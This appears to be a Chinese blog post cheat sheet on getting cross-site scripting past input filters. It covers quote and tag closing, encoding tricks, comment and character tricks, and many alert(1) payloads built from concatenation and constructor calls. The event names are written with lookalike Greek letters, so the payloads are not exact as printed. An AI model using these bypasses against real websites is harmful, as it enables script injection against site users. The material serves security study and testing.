XSS绕过方法总结

  • htmlspecialchars():将预定义字符转为实体编码
    • " < > & ' 等字符转为文本型实体编码
  • 常用的xss注入方法
    • <img>标签
    • <a>标签
    • <input>标签
    • 事件触发
      • onmouseover
      • onclick
      • onfocus等
  • XSS寻找和绕过
    • 找信息交互处;输入信息看回显和页面源码;找输入信息是否存在(判断xss是否存在)
      • 搜索框;留言板等
    • 根据源码分析xss绕过方法
      • 引号闭合
      • 标签闭合
      • 大小写绕过
      • 双写绕过
      • &截断 /#截断
      • %09 %0a %0d / 绕过(针对关键字/空格过滤)
      • ng-include外包文件绕过(DOM中)
        • 引入文件作为当前节点的子节点
      • bp抓包绕过(针对前端限制或隐藏标签)
      • 编码绕过
        • url编码
          • 可以二次url编码;针对%可以一直编码为%25,不断叠加
          • 如w编码是%77;二次编码就是%2577
        • html实体编码
          • 文本型
          • 十进制
          • 十六进制
        • js编码(unicode编码)
      • 注释符绕过
        • html注释有两种
          • <!-- -->
          • <!-- --!>
          • -->可以表示单行注释
      • 古英文符号绕过
        • ſ :表示s的另一种写法;转为大写是S
      • 不完整标签绕过
        • <img src οnerrοr="alert(1)"
      • </style > :中间加空格不影响标签效果
      • 针对url过滤时
        • url编码
        • 使用ip绕过
          • ip十进制
          • ip八进制
          • ip十六进制
          • 使用//代替http://(也可以使用\代替)
        • 使用中文的标点符号代替英文符号进行绕过
          • <img src="x" οnerrοr="document.location=``http://www。baidu。com``">
      • 括号过滤()
        • throw绕过
          • <svg/οnlοad="window.οnerrοr=eval;throw'=alert\x281\x29';">
        • 反引号代替`(esc下面的键)
        • 编码绕过
      • 函数(重点)
        • 字符串拼接函数(用法都一样)
          • eval
            • <img src="x" οnerrοr="eval('al'+'ert(1)')">
          • top
            • <img src="x" οnerrοr="top['al'+'ert'](1)">
          • window
          • self
          • parent
          • frames
        • 常用函数
          • <img src="x" οnerrοr="eval(alert(1))">
          • <img src="x" οnerrοr="open(alert(1))">
          • <img src="x" οnerrοr="document.write(alert(1))">
          • <img src="x" οnerrοr="setTimeout(alert(1))">
          • <img src="x" οnerrοr="setInterval(alert(1))">
          • <img src="x" οnerrοr="Set.constructor(alert(1))">
          • <img src="x" οnerrοr="Map.constructor(alert(1))">
          • <img src="x" οnerrοr="Array.constructor(alert(1))">
          • <img src="x" οnerrοr="WeakSet.constructor(alert(1))">
          • <img src="x" οnerrοr="constructor.constructor(alert(1))">
          • <img src="x" οnerrοr="[1].map(alert(1))">
          • <img src="x" οnerrοr="[1].find(alert(1))">
          • <img src="x" οnerrοr="[1].every(alert(1))">
          • <img src="x" οnerrοr="[1].filter(alert(1))">
          • <img src="x" οnerrοr="[1].forEach(alert(1))">
          • <img src="x" οnerrοr="[1].findIndex(alert(1))">
        • 赋值拼接
          • <img src οnerrοr=_=alert,_(1)>
          • <img src x=al y=ert οnerrοr=top[x+y](1)>
          • <img src οnerrοr=top[a='al',b='ev',b+a]('alert(1)')>
          • <img src οnerrοr=['ale'+'rt'].map(top['ev'+'al'])[0]['valu'+'eOf']()(1)>
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

I_WORM

大佬们,赏点儿碎银吧~~

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值